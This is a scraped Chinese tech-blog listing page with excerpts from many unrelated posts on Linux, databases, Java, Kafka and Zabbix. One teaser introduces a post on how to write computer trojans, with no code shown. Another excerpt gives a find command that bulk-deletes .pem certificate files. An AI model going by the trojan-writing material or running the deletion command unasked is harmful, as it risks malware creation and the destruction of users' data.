简介Shell、zsh、bash
zhaosuningsn
Shell zsh bash shell linux bash
Shell是Linux和Unix的外壳,类似衣服,负责外界与Linux和Unix内核的交互联系。例如接收终端用户及各种应用程序的命令,把接收的命令翻译成内核能理解的语言,传递给内核,并把内核处理接收的命令的结果返回给外界,即Shell是外界和内核沟通的桥梁或大门。Linux和Unix提供了多种Shell,其中有种bash,当然还有其他好多种。Mac电脑中不但有bash,还有一个zsh,预装的,据说
Linux MariaDB使用OpenSSL安装SSL证书
Meta39
MySQL Oracle MariaDB Linux Windows ssl linux mariadb
进入到证书存放目录,批量删除.pem证书警告:确保已经进入到证书存放目录find.-typef-iname\*.pem-delete查看是否安装OpenSSLopensslversion没有则安装yuminstallopensslopenssl-devel开启SSL编辑/etc/my.cnf文件(没有的话就创建,但是要注意,在/etc/my.cnf.d/server.cnf配置了datadir的,
insert into select 主键自增_mybatis拦截器实现主键自动生成
weixin_39521651
insert into select 主键自增 mybatis delete返回值 mybatis insert返回主键 mybatis insert返回对象 mybatis plus insert返回主键 mybatis plus 插入生成id
前言前阵子和朋友聊天,他说他们项目有个需求,要实现主键自动生成,不想每次新增的时候,都手动设置主键。于是我就问他,那你们数据库表设置主键自动递增不就得了。他的回答是他们项目目前的id都是采用雪花算法来生成,因此为了项目稳定性,不会切换id的生成方式。朋友问我有没有什么实现思路,他们公司的orm框架是mybatis,我就建议他说,不然让你老大把mybatis切换成mybatis-plus。mybat
关于Mysql 中 Row size too large (> 8126) 错误的解决和理解
秋刀prince
mysql mysql 数据库
提示:啰嗦一嘴,数据库的任何操作和验证前,一定要记得先备份!!!不会有错;文章目录问题发现一、问题导致的可能原因1、页大小2、行格式2.1compact格式2.2Redundant格式2.3Dynamic格式2.4Compressed格式3、BLOB和TEXT列二、解决办法1、修改页大小(不推荐)2、修改行格式3、修改数据类型为BLOB和TEXT列4、其他优化方式(可以参考使用)4.1合理设置数据
【从浅识到熟知Linux】Linux发展史
Jammingpro
从浅学到熟知Linux linux 运维 服务器
归属专栏:从浅学到熟知Linux个人主页:Jammingpro每日努力一点点,技术变化看得见文章前言:本篇文章记录Linux发展的历史,因在介绍Linux过程中涉及的其他操作系统及人物,本文对相关内容也有所介绍。文章目录Unix发展史Linux发展史开源Linux官网企业应用情况发行版本在学习Linux前,我们可能都会问Linux从哪里来?它是如何发展的。但在介绍Linux之前,需要先介绍一下Un
linux 发展史
种树的猴子
内核 java 操作系统 linux 大数据
linux发展史说明此前对linux认识模糊一知半解,近期通过学习将自己对于linux的发展总结一下方便大家日后的学习。那Linux是目前一款非常火热的开源操作系统,可是linux是什么时候出现的,又是因为什么样的原因被开发出来的呢。以下将对linux的发展历程进行详细的讲解。目录一、Linux发展背景二、UINIX的诞生三、UNIX的重要分支-BSD的诞生四、Minix的诞生五、GNU与Free
Linux sh命令
fengyehongWorld
Linux linux
目录一.基本语法二.选项2.1-c字符串中读取内容,并执行2.1.1基本用法2.1.2获取当前目录下失效的超链接2.2-x每个命令执行之前,将其打印出来2.3结合Here文档使用一.基本语法⏹Linux和Unix系统中用于执行shell脚本或运行命令的命令。sh[选项][脚本文件][参数...]⏹选项-c:从字符串中读取内容,并执行。-x:在每个命令执行之前,将其打印出来。-s:从标准流中读取内容
Linux vi常用命令
fengyehongWorld
Linux linux
参考资料viコマンド(vimコマンド)リファレンス目录一.保存系命令二.删除系命令三.移动系命令四.复制粘贴系命令一.保存系命令⏹保存并退出:wq⏹强制保存并退出:wq!⏹退出(文件未编辑):q⏹强制退出(忽略已编辑内容):q!⏹另存为:w新文件名二.删除系命令⏹删除当前行dd⏹清空整个文档gg:移动到文档顶部dG:删除到最后一行ggdG三.移动系命令⏹移动到文档顶部gg⏹移动到文档底部#方式1G
Java爬虫框架(一)--架构设计
狼图腾-狼之传说
java 框架 java 任务 html解析器 存储 电子商务
一、架构图那里搜网络爬虫框架主要针对电子商务网站进行数据爬取,分析,存储,索引。爬虫:爬虫负责爬取,解析,处理电子商务网站的网页的内容数据库:存储商品信息索引:商品的全文搜索索引Task队列:需要爬取的网页列表Visited表:已经爬取过的网页列表爬虫监控平台:web平台可以启动,停止爬虫,管理爬虫,task队列,visited表。二、爬虫1.流程1)Scheduler启动爬虫器,TaskMast
Linux查看服务器日志
TPBoreas
运维 linux 运维
一、tail这个是我最常用的一种查看方式用法如下:tail-n10test.log查询日志尾部最后10行的日志;tail-n+10test.log查询10行之后的所有日志;tail-fn10test.log循环实时查看最后1000行记录(最常用的)一般还会配合着grep用,(实时抓包)例如:tail-fn1000test.log|grep'关键字'(动态抓包)tail-fn1000test.log
MongoDB知识概括
GeorgeLin98
持久层 mongodb
MongoDB知识概括MongoDB相关概念单机部署基本常用命令索引-IndexSpirngDataMongoDB集成副本集分片集群安全认证MongoDB相关概念业务应用场景:传统的关系型数据库(如MySQL),在数据操作的“三高”需求以及应对Web2.0的网站需求面前,显得力不从心。解释:“三高”需求:①Highperformance-对数据库高并发读写的需求。②HugeStorage-对海量数
计算机木马详细编写思路
小熊同学哦
php 开发语言 木马 木马思路
导语:计算机木马(ComputerTrojan)是一种恶意软件,通过欺骗用户从而获取系统控制权限,给黑客打开系统后门的一种手段。虽然木马的存在给用户和系统带来严重的安全风险,但是了解它的工作原理与编写思路,对于我们提高防范意识、构建更健壮的网络安全体系具有重要意义。本篇博客将深入剖析计算机木马的详细编写思路,以及如何复杂化挑战,以期提高读者对计算机木马的认识和对抗能力。计算机木马的基本原理计算机木
JVM StackMapTable 属性的作用及理解
lijingyao8206
jvm 字节码 Class文件 StackMapTable
在Java 6版本之后JVM引入了栈图(Stack Map Table)概念。为了提高验证过程的效率,在字节码规范中添加了Stack Map Table属性,以下简称栈图,其方法的code属性中存储了局部变量和操作数的类型验证以及字节码的偏移量。也就是一个method需要且仅对应一个Stack Map Table。在Java 7版
回调函数调用方法
百合不是茶
java
最近在看大神写的代码时,.发现其中使用了很多的回调 ,以前只是在学习的时候经常用到 ,现在写个笔记 记录一下
代码很简单:
MainDemo :调用方法 得到方法的返回结果
[时间机器]制造时间机器需要一些材料
comsci
制造
根据我的计算和推测,要完全实现制造一台时间机器,需要某些我们这个世界不存在的物质
和材料...
甚至可以这样说,这种材料和物质,我们在反应堆中也无法获得......
 
开口埋怨不如闭口做事
邓集海
邓集海 做人 做事 工作
“开口埋怨,不如闭口做事。”不是名人名言,而是一个普通父亲对儿子的训导。但是,因为这句训导,这位普通父亲却造就了一个名人儿子。这位普通父亲造就的名人儿子,叫张明正。 张明正出身贫寒,读书时成绩差,常挨老师批评。高中毕业,张明正连普通大学的分数线都没上。高考成绩出来后,平时开口怨这怨那的张明正,不从自身找原因,而是不停地埋怨自己家庭条件不好、埋怨父母没有给他创造良好的学习环境。
jQuery插件开发全解析,类级别与对象级别开发
IT独行者
jquery 开发 插件 函数
jQuery插件的开发包括两种: 一种是类级别的插件开发,即给
jQuery添加新的全局函数,相当于给
jQuery类本身添加方法。
jQuery的全局函数就是属于
jQuery命名空间的函数,另一种是对象级别的插件开发,即给
jQuery对象添加方法。下面就两种函数的开发做详细的说明。
1
、类级别的插件开发 类级别的插件开发最直接的理解就是给jQuer
Rome解析Rss
413277409
Rome解析Rss
import java.net.URL;
import java.util.List;
import org.junit.Test;
import com.sun.syndication.feed.synd.SyndCategory;
import com.sun.syndication.feed.synd.S
RSA加密解密
无量
加密 解密 rsa
RSA加密解密代码
代码有待整理
package com.tongbanjie.commons.util;
import java.security.Key;
import java.security.KeyFactory;
import java.security.KeyPair;
import java.security.KeyPairGenerat
linux 软件安装遇到的问题
aichenglong
linux 遇到的问题 ftp
1 ftp配置中遇到的问题
500 OOPS: cannot change directory
出现该问题的原因:是SELinux安装机制的问题.只要disable SELinux就可以了
修改方法:1 修改/etc/selinux/config 中SELINUX=disabled
2 source /etc
面试心得
alafqq
面试
最近面试了好几家公司。记录下;
支付宝,面试我的人胖胖的,看着人挺好的;博彦外包的职位,面试失败;
阿里金融,面试官人也挺和善,只不过我让他吐血了。。。
由于印象比较深,记录下;
1,自我介绍
2,说下八种基本类型;(算上string。楼主才答了3种,哈哈,string其实不是基本类型,是引用类型)
3,什么是包装类,包装类的优点;
4,平时看过什么书?NND,什么书都没看过。。照样
java的多态性探讨
百合不是茶
java
java的多态性是指main方法在调用属性的时候类可以对这一属性做出反应的情况
//package 1;
class A{
public void test(){
System.out.println("A");
}
}
class D extends A{
public void test(){
S
网络编程基础篇之JavaScript-学习笔记
bijian1013
JavaScript
1.documentWrite
<html>
<head>
<script language="JavaScript">
document.write("这是电脑网络学校");
document.close();
</script>
</h
探索JUnit4扩展:深入Rule
bijian1013
JUnit Rule 单元测试
本文将进一步探究Rule的应用,展示如何使用Rule来替代@BeforeClass,@AfterClass,@Before和@After的功能。
在上一篇中提到,可以使用Rule替代现有的大部分Runner扩展,而且也不提倡对Runner中的withBefores(),withAfte
[CSS]CSS浮动十五条规则
bit1129
css
这些浮动规则,主要是参考CSS权威指南关于浮动规则的总结,然后添加一些简单的例子以验证和理解这些规则。
1. 所有的页面元素都可以浮动 2. 一个元素浮动后,会成为块级元素,比如<span>,a, strong等都会变成块级元素 3.一个元素左浮动,会向最近的块级父元素的左上角移动,直到浮动元素的左外边界碰到块级父元素的左内边界;如果这个块级父元素已经有浮动元素停靠了
【Kafka六】Kafka Producer和Consumer多Broker、多Partition场景
bit1129
partition
0.Kafka服务器配置
3个broker
1个topic,6个partition,副本因子是2
2个consumer,每个consumer三个线程并发读取
1. Producer
package kafka.examples.multibrokers.producers;
import java.util.Properties;
import java.util.
zabbix_agentd.conf配置文件详解
ronin47
zabbix 配置文件
Aliaskey的别名,例如 Alias=ttlsa.userid:vfs.file.regexp[/etc/passwd,^ttlsa:.:([0-9]+),,,,\1], 或者ttlsa的用户ID。你可以使用key:vfs.file.regexp[/etc/passwd,^ttlsa:.: ([0-9]+),,,,\1],也可以使用ttlsa.userid。备注: 别名不能重复,但是可以有多个
java--19.用矩阵求Fibonacci数列的第N项
bylijinnan
fibonacci
参考了网上的思路,写了个Java版的:
public class Fibonacci {
final static int[] A={1,1,1,0};
public static void main(String[] args) {
int n=7;
for(int i=0;i<=n;i++){
int f=fibonac
Netty源码学习-LengthFieldBasedFrameDecoder
bylijinnan
java netty
先看看LengthFieldBasedFrameDecoder的官方API
http://docs.jboss.org/netty/3.1/api/org/jboss/netty/handler/codec/frame/LengthFieldBasedFrameDecoder.html
API举例说明了LengthFieldBasedFrameDecoder的解析机制,如下:
实
AES加密解密
chicony
加密解密
AES加解密算法,使用Base64做转码以及辅助加密:
package com.wintv.common;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import sun.misc.BASE64Decod
文件编码格式转换
ctrain
编码格式
package com.test;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
mysql 在linux客户端插入数据中文乱码
daizj
mysql 中文乱码
1、查看系统客户端,数据库,连接层的编码
查看方法: http://daizj.iteye.com/blog/2174993
进入mysql,通过如下命令查看数据库编码方式: mysql> show variables like 'character_set_%'; +--------------------------+------
好代码是廉价的代码
dcj3sjt126com
程序员 读书
长久以来我一直主张:好代码是廉价的代码。
当我跟做开发的同事说出这话时,他们的第一反应是一种惊愕,然后是将近一个星期的嘲笑,把它当作一个笑话来讲。 当他们走近看我的表情、知道我是认真的时,才收敛一点。
当最初的惊愕消退后,他们会用一些这样的话来反驳: “好代码不廉价,好代码是采用经过数十年计算机科学研究和积累得出的最佳实践设计模式和方法论建立起来的精心制作的程序代码。”
我只
Android网络请求库——android-async-http
dcj3sjt126com
android
在iOS开发中有大名鼎鼎的ASIHttpRequest库,用来处理网络请求操作,今天要介绍的是一个在Android上同样强大的网络请求库android-async-http,目前非常火的应用Instagram和Pinterest的Android版就是用的这个网络请求库。这个网络请求库是基于Apache HttpClient库之上的一个异步网络请求处理库,网络处理均基于Android的非UI线程,通
ORACLE 复习笔记之SQL语句的优化
eksliang
SQL优化 Oracle sql语句优化 SQL语句的优化
转载请出自出处:http://eksliang.iteye.com/blog/2097999
SQL语句的优化总结如下
sql语句的优化可以按照如下六个步骤进行:
合理使用索引
避免或者简化排序
消除对大表的扫描
避免复杂的通配符匹配
调整子查询的性能
EXISTS和IN运算符
下面我就按照上面这六个步骤分别进行总结:
浅析:Android 嵌套滑动机制(NestedScrolling)
gg163
android 移动开发 滑动机制 嵌套
谷歌在发布安卓 Lollipop版本之后,为了更好的用户体验,Google为Android的滑动机制提供了NestedScrolling特性
NestedScrolling的特性可以体现在哪里呢?<!--[if !supportLineBreakNewLine]--><!--[endif]-->
比如你使用了Toolbar,下面一个ScrollView,向上滚
使用hovertree菜单作为后台导航
hvt
JavaScript jquery .net hovertree asp.net
hovertree是一个jquery菜单插件,官方网址:http://keleyi.com/jq/hovertree/ ,可以登录该网址体验效果。
0.1.3版本:http://keleyi.com/jq/hovertree/demo/demo.0.1.3.htm
hovertree插件包含文件:
http://keleyi.com/jq/hovertree/css
SVG 教程 (二)矩形
天梯梦
svg
SVG <rect> SVG Shapes
SVG有一些预定义的形状元素,可被开发者使用和操作:
矩形 <rect>
圆形 <circle>
椭圆 <ellipse>
线 <line>
折线 <polyline>
多边形 <polygon>
路径 <path>
一个简单的队列
luyulong
java 数据结构 队列
public class MyQueue {
private long[] arr;
private int front;
private int end;
// 有效数据的大小
private int elements;
public MyQueue() {
arr = new long[10];
elements = 0;
front
基础数据结构和算法九:Binary Search Tree
sunwinner
Algorithm
A binary search tree (BST) is a binary tree where each node has a Comparable key (and an associated value) and satisfies the restriction that the key in any node is larger than the keys in all
项目出现的一些问题和体会
Steven-Walker
DAO Web servlet
第一篇博客不知道要写点什么,就先来点近阶段的感悟吧。
这几天学了servlet和数据库等知识,就参照老方的视频写了一个简单的增删改查的,完成了最简单的一些功能,使用了三层架构。
dao层完成的是对数据库具体的功能实现,service层调用了dao层的实现方法,具体对servlet提供支持。
&
高手问答:Java老A带你全面提升Java单兵作战能力!
ITeye管理员
java
本期特邀《Java特种兵》作者:谢宇,CSDN论坛ID: xieyuooo 针对JAVA问题给予大家解答,欢迎网友积极提问,与专家一起讨论!
作者简介:
淘宝网资深Java工程师,CSDN超人气博主,人称“胖哥”。
CSDN博客地址:
http://blog.csdn.net/xieyuooo
作者在进入大学前是一个不折不扣的计算机白痴,曾经被人笑话过不懂鼠标是什么,